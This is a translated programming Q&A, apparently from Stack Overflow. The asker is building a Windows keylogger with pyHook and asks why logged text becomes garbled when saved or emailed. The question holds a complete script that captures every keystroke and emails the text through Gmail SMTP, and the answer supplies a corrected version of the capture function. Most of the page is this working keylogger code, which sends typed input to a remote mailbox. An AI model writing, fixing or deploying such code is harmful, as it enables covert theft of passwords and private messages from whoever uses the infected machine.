0

我在玩 pyHook 库,我决定看看我是否可以制作一个键盘记录器。

问题是,当我尝试将该文本保存到文件或通过电子邮件发送给自己时,有一半的时间会转换为这样的内容

我⁡洠獥湤楮朠浃獥汦⁡渠敭慩氠癞愠愠步

当我打印文本时,它看起来很好。但是我在将文本保存到文本文件时以及通过电子邮件发送给自己时都遇到了这种情况。

import pyHook
import pythoncom
from re import sub
#Module for emailing out captured text
from Emailer import MakeEmail
#Global variable that will hold the captured text in-between emails 
captured = ''

SMTP_server = 'smtp.gmail.com'

username = 'MyAltAccount@gmail.com'

passwd = 'password'

destination = "myAccount@gmail.com"

email = MakeEmail(SMTP_server, destination, username, passwd, "Key Logger output", "")

def onKeyboardEvent(event):
    global captured
    if event.Ascii == 5 or not isinstance(event.Ascii, int):
        _exit(1)
    if event.Ascii != 0 or 8:
        captured += unichr(event.Ascii)
        if len(captured) > 30:
            print captured
            email.content = sub("\ \ *", " ", captured)
            email.send_email()
            captured= ''

hm = pyHook.HookManager()

hm.KeyDown = onKeyboardEvent

hm.HookKeyboard()

pythoncom.PumpMessages()

我无法确定这个错误的正面或反面。

4

1 回答 1

0

就像@iCodez 评论的那样,第 23 行应该写成:

if event.Ascii != 0 and event.Ascii != 8:

这是该on_keyboard_event函数的固定版本:

def on_keyboard_event(event):
    """Function is called everytime a key is pressed
     to add that key to the list of captured keys"""
    global captured
    if event.Ascii == 5 or not isinstance(event.Ascii, int):
        _exit(1)
    if event.Ascii != 0 and event.Ascii != 8:
        captured += unichr(event.Ascii)
        captured = sub("  *", " ", captured)
        if len(captured) > 99:
            email.content = captured
            email.send_email()
            captured =  ''
于 2015-05-08T02:48:35.950 回答